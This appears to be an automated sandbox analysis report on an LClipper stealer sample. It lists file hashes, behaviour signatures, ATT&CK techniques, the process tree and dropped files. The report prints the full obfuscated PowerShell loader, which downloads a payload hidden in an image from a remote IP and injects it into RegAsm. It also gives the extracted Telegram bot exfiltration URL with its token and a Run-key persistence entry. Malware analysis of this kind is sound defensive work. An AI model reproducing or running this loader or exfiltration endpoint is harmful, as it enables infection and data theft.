lclipper | ac334daeb361ab4ddeae09de2740f5969aea3056f7305618551fe825832831d6

Analysis

max time kernel
149s
max time network
93s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
01/02/2026, 23:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_ac334daeb361ab4ddeae09de2740f5969aea3056f7305618551fe825832831d6.exe
Size 118KB
Sample260201-239dmag13d
SHA256 ac334daeb361ab4ddeae09de2740f5969aea3056f7305618551fe825832831d6
MD5 d6ce91d88ab1618d4763fe5021556d7a
SHA1 2ace27cda1b6eeca86bc3861ce3f2ba5b1a6c1be
SHA512 0fb7c2032de75752286bfba6779acc6e2e2e6b6e9bac9be99c618e7d19a704bbe2749ff36681a1513762f1611699c97db02b1e9664ba96bce65379288078a3d8
SSDEEP 1536:QFzIq5Z76jfE4gDXDLkbeQd9yM4zKWPhA3XhrdBX5XbOIRM/JdNABlWO:PAZGDyXkbeK9CGW+3XhrjQIRMlABlWO
TLSH
T125C35D07F9DCD6E0D53511327F63C970D6686E257960A11E73C9BF2E2B39662AA003E2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution lclipper persistence stealer

Malware Config

Extracted

Family

lclipper

https://api.telegram.org/bot7841921350:AAFGkor-dSPkf-PgNgU6DqA2BBmIM8f_vRU/sendMessage?chat_id=6299414420&text=

Signatures

LClipper
LClipper is a stealer written in C++.
stealer lclipper
Lclipper family
lclipper

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	6108	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1164	GoogleChrome.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000\Software\Microsoft\Windows\CurrentVersion\Run\Chromium = "C:\\Users\\Admin\\AppData\\Local\\GoogleChrome.exe"	RegAsm.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6108	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 6108 set thread context of 5268	6108	powershell.exe	83

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5860	PING.EXE
2492	cmd.exe
5764	cmd.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5860	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
6108	powershell.exe
6108	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	6108	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3448 wrote to memory of 788	3448	_ac334daeb361ab4ddeae09de2740f5969aea3056f7305618551fe825832831d6.exe	79
PID 788 wrote to memory of 6108	788	cscript.exe	81
PID 6108 wrote to memory of 5268	6108	powershell.exe	83
PID 6108 wrote to memory of 5268	6108	powershell.exe	83
PID 6108 wrote to memory of 5268	6108	powershell.exe	83
PID 6108 wrote to memory of 5268	6108	powershell.exe	83
PID 6108 wrote to memory of 5268	6108	powershell.exe	83
PID 6108 wrote to memory of 5268	6108	powershell.exe	83
PID 6108 wrote to memory of 5268	6108	powershell.exe	83
PID 6108 wrote to memory of 5268	6108	powershell.exe	83
PID 6108 wrote to memory of 5156	6108	powershell.exe	84
PID 5268 wrote to memory of 2492	5268	RegAsm.exe	85
PID 2492 wrote to memory of 5764	2492	cmd.exe	87
PID 5764 wrote to memory of 5860	5764	cmd.exe	89
PID 5764 wrote to memory of 1164	5764	cmd.exe	90

C:\Users\Admin\AppData\Local\Temp\_ac334daeb361ab4ddeae09de2740f5969aea3056f7305618551fe825832831d6.exe
"C:\Users\Admin\AppData\Local\Temp\_ac334daeb361ab4ddeae09de2740f5969aea3056f7305618551fe825832831d6.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3448
- C:\Windows\SYSTEM32\cscript.exe
  "cscript.exe" //B //Nologo //E:VBScript "C:\Users\Admin\AppData\Roaming\x62872182.tmp"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ddsdgo ='WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAZgB1AG4AYwB0AGkAbwBuACAAZABsAHsAcABhAHIAYQBtACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAHoAKQBmAG8AcgBlAGEAYwBoACgAJAB5ACAAaQBuACAAJAB6ACkAewB0AHIAeQB7ACQAeAA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAJAB5ACkAOwAkAHcAPQAkAHgALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApADsAJAB2AD0AJAB3AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlAFMAdAByAGUAYQBtACgAKQA7ACQAdQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAdgAuAEMAbwBwAHkAVABvACgAJAB1ACkAOwAkAHcALgBDAGwAbwBzAGUAKAApADsAJABiAHkAdABlAHMAPQAkAHUALgBUAG8AQQByAHIAYQB5ACgAKQA7ACQAdAB4AHQAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMAKQA7AGkAZgAoACQAdAB4AHQALgBJAG4AZABlAHgATwBmACgAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAKQAtAGcAZQAwACAALQBhAG4AZAAgACQAdAB4AHQALgBJAG4AZABlAHgATwBmACgAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwApAC0AZwB0ADAAKQB7AHIAZQB0AHUAcgBuACAAJABiAHkAdABlAHMAfQB9AGMAYQB0AGMAaAB7AGMAbwBuAHQAaQBuAHUAZQB9AH0AcgBlAHQAdQByAG4AIAAkAG4AdQBsAGwAfQANAAoAJABQAHIAbwB0AG8AYwBvAGwAPQAnAGgAdAB0AHAAJwA7AA0ACgAkAFMAZQBwAGEAcgBhAHQAbwByAD0AJwA6AC8ALwAnADsADQAKACQAYgBhAHMAZQBVAHIAbAA9ACQAUAByAG8AdABvAGMAbwBsACsAJABTAGUAcABhAHIAYQB0AG8AcgA7AA0ACgAkAGgAbwBzAHQAUABhAHIAdAA9ACcAMQA5ADYALgAyADUAMQAuADEAMAA3AC4AMQAyACcAOwANAAoAJABwAGEAdABoAFAAYQByAHQAPQAnAC8AcAB1AGIAbABpAGMAXwBmAGkAbABlAHMALwAnADsADQAKACQAZgBpAGwAZQBQAGEAcgB0AD0AJwAxADYAMAAwADYANAAuAGoAcABnACcAOwANAAoAJABxAHUAZQByAHkAUABhAHIAdAA9ACcAPwAxADIANwAxADEAMwAxADMAJwA7AA0ACgAkAGYAdQBsAGwAVQByAGwAPQAkAFAAcgBvAHQAbwBjAG8AbAAd@ACQAUwBlAHAAYQByAGEAdABvAHIAKwAkAGgAbwBzAHQAUABhAHIAdAAd@ACQAcABhAHQAaABQAGEAcgB0ACsAJABmAGkAbABlAFAAYQByAHQAKwAkAHEAdQBlAHIAeQBQAGEAcgB0ADsADQAKACQAbABpAG4AawBzAD0AQAAoACQAZgB1AGwAbABVAHIAbAApADsADQAKACQAaQBtAGEAZwBlAEIAeQB0AGUAcwA9AGQAbAAgACQAbABpAG4AawBzADsADQAKAGkAZgAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGkAbQBhAGcAZQBUAGUAeAB0AD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsAJABzAHQAYQByAHQARgBsAGEAZwA9ACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABlAG4AZABGAGwAYQBnAD0AJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA9ACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAJABlAG4AZABJAG4AZABlAHgAPQAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAaQBmACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAKQB7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAd@AD0AJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoAD0AJABlAG4AZABJAG4AZABlAHgALQAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAPQAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoAGgAKQA7ACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQA9AFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAkAHQAeQBwAGUAPQAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAHQAZQBzAHQAcABvAHcAZQByAHMAaABlAGwAbAAuAEgAbwBhAGEAYQBhAGEAYQBzAGQAbQBlACcAKQA7ACQAaQBuAGoAZQBjAD0AJwBSAGUAZwBBAHMAbQAnADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBlAHQAaABOAGEAbQBlACAAPQAgACcAbABmAHMAJwAd@ACcAZwBlAGQAJwAd@ACcAZABkAGQAZABkAGQAJwAd@ACcAYQAnADsAIAAkAG0AZQB0AGgAbwBkACAAPQAgACQAdAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJABtAGUAdABoAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AWQB2AHYASwBSAFAAagAvAHMAZQBsAGkAZgBfAGMAaQBsAGIAdQBwAC8AMgAxAC4ANwAwADEALgAxADUAMgAuADYAOQAxAC8ALwA6ACcALAAgACcAMAAnACwAIAAnAHkAMwAzAEQAUAB0AFAAeQAwACcALAAgACQAaQBuAGoAZQBjACwAIAAnADAAJwApACkAfQB9AA==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsdgo.replace('d@','r') ));& ([scriptblock]::Create($OWjuxD))
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:6108
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
      4⤵
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:5268
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c start cmd /C "ping localhost -n 1 && start C:\Users\Admin\AppData\Local\GoogleChrome.exe"
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2492
      - C:\Windows\system32\cmd.exe
        
        cmd /C "ping localhost -n 1 && start C:\Users\Admin\AppData\Local\GoogleChrome.exe"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5764
        
        C:\Windows\system32\PING.EXE
        
        ping localhost -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5860
        
        C:\Users\Admin\AppData\Local\GoogleChrome.exe
        
        C:\Users\Admin\AppData\Local\GoogleChrome.exe
        7⤵
        Executes dropped EXE
        
        PID:1164
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:5156

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

GoogleChrome.exe

Path C:\Users\Admin\AppData\Local\GoogleChrome.exe
Size 63KB
SHA256 1136010a4706295f80343fe364d90d5789288dead5ab0ed0e0981d29ad669bbc
MD5 15d0f3abfb5a3e38e83ea61a082ef934
SHA1 9ff4a64e44efdcd088dfe489466ed612fff1ef55
SHA512 b33aa91069382a2f57275fbae3cd94bf477c13ab263ee07a94422da9bc3d43513df4016449d103953d87ca672ba9e5f83d854d17e9228e865f5c1753466eea5b
SSDEEP 768:D8XcJiMjm2ieHFYPyCsSuJbn8dBhF+iSMH6Iq8ASYDKcagxW6l:PYMaNyFYPYSAb8dBndH+lDKcaL6l
TLSH
T15553D614A7E84216F6FB4B71AAF4C0479936B563AD65C75C348D538D0B223C4CA23BBB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_slfq21qx.ik2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_slfq21qx.ik2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

x62872182.tmp

Path C:\Users\Admin\AppData\Roaming\x62872182.tmp
Size 22KB
SHA256 c96a0a0cc8ab12a4a7428ef6c5b8c5ba071fc320e59336848204049394fcb939
MD5 d38bcf3fe94e366e011a56bc52249019
SHA1 9a8d31695c8b62c80db2307509d35889f648d9ec
SHA512 055f4942aed04b425c3049fba615e0547a8123722691dcb481963d0cb1f7b5a186e4d647372980425e6deb4c3946f6c11a9f222e426417197d5e6087687780c5
SSDEEP 384:Kw47VAh/h4MHhsiqi3zEZ76lLbpiU/Ea9pg5Z/PdRDLkbAQ4dso1CvuRabW:KBs54uhqMzEZ76lpiEEafgDXDLkbe1Kq
TLSH
T14BA2D717C858AEF40B6F61929C572C06859043256634390EB5CEA6FC2F793A4CFD52EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1164-22-0x000001EE0F410000-0x000001EE0F420000-memory.dmp

Download

memory/3448-0-0x0000000000870000-0x0000000000894000-memory.dmp

Download

memory/5268-11-0x0000000140000000-0x0000000140383000-memory.dmp

Download

memory/5268-12-0x0000000140000000-0x0000000140383000-memory.dmp

Download

memory/6108-9-0x0000022343FD0000-0x0000022343FF2000-memory.dmp

Download

memory/6108-10-0x00000223444B0000-0x00000223444B8000-memory.dmp

Download